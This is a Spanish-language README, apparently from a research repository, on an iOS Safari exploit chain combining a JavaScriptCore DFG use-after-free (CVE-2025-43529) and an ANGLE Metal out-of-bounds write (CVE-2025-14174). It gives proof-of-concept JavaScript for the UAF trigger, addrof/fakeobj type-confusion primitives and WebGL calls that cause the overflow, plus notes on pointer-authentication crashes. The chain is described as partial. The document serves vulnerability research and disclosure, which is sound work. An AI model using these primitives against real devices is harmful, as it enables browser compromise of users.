
Análisis de la cadena de explotación de CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari
Notas y material de PoC para una cadena WebKit/ANGLE en iOS 26.1. Esto no es un exploit completo; separa las primitivas verificadas de las piezas que aún fallan.
Autor: zeroxjf
Basado en: exploit de jir4vv1t para CVE-2025-43529
Estado: Cadena parcial; R/W arbitraria no probada
Dispositivo de prueba: iPhone 11 Pro Max, iOS 26.1
Última actualización: enero de 2026
El disparador del UAF de CVE-2025-43529, la reclamación de butterfly y las primitivas addrof/fakeobj se basan en el trabajo de jir4vv1t. Mis contribuciones son el cableado del OOB de ANGLE, el análisis centrado en PAC y la validación en iOS 26.1.
Dos CVEs de WebKit divulgados conjuntamente y reportados por Apple como explotación activa (in-the-wild).
| CVE | Componente | Tipo | Resumen |
|---|
| CVE-2025-43529 | JavaScriptCore | Uso después de liberación | La barrera de escritura faltante en DFG JIT hace que el GC libere objetos vivos |
| CVE-2025-14174 | ANGLE (GPU) | Escritura fuera de límites | El backend de Metal usa una altura incorrecta para la asignación del búfer de staging |
El fallo está en el DFG JIT de JavaScriptCore, específicamente en la fase de inserción de barreras de store (DFGStoreBarrierInsertionPhase.cpp).
Cuando un nodo Phi escapa pero sus entradas Upsilon no están marcadas como escapadas, las operaciones de store posteriores omiten una barrera de escritura. Eso permite que el GC libere objetos que siguen siendo alcanzables.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
El butterfly del objeto Date liberado puede ser reclamado mediante arrays de spray, creando una confusión de tipos:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
En el backend Metal de ANGLE (TextureMtl.cpp), la asignación del búfer de staging usa UNPACK_IMAGE_HEIGHT en lugar de la altura real de la textura al cargar datos vía PBO.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
En arm64e (iPhone 11 Pro Max), los códigos de autenticación de punteros (PAC) protegen punteros críticos de JSC:
| Puntero | Protegido | Resultado |
|---|---|---|
TypedArray m_vector | Sí | No se puede falsificar un TypedArray con un backing store arbitrario |
JSArray butterfly | Sí | No se puede falsificar un JSArray con un butterfly arbitrario |
Cuando intento crear un TypedArray/JSArray falso con un puntero de datos arbitrario, la verificación PAC falla y provoca un crash:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
La confusión de tipos funciona porque ambos arrays usan punteros de butterfly firmados legítimamente - solo estamos reinterpretando la misma memoria. Los objetos falsos con punteros arbitrarios sin firmar provocan un crash en la comprobación PAC.
| Primitiva | Estado | Notas |
|---|---|---|
addrof(obj) | Funciona | Verificada en la prueba |
fakeobj(addr) | Funciona | Verificada contra objetos conocidos |
| Fuga de direcciones | Funciona | 20+ direcciones por ejecución |
| Lectura/escritura de inline slots | Funciona | Verificada en inline slots conocidos (basados en la dirección del objeto) |
read64(addr) | Sin verificar | Construida mediante el truco de inline slots; la prueba falló |
write64(addr) | Sin verificar | Construida mediante el truco de inline slots; la prueba falló |
addrof, fakeobj, fugas de direcciones, lectura/escritura de inline slots en objetos conocidosread64/write64 arbitrarios, cadena de escape renderer→GPU, escape de sandbox├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
El disparador de CVE-2025-43529, la técnica de reclamación de butterfly y la construcción de addrof/fakeobj se basan en jir4vv1t/CVE-2025-43529. Este repo añade la validación en iOS 26.1, notas sobre PAC y el cableado del OOB de ANGLE.
Estado actual: útil para reproducir la primitiva de JSC y el bloqueo de PAC; no es una cadena de exploit completa.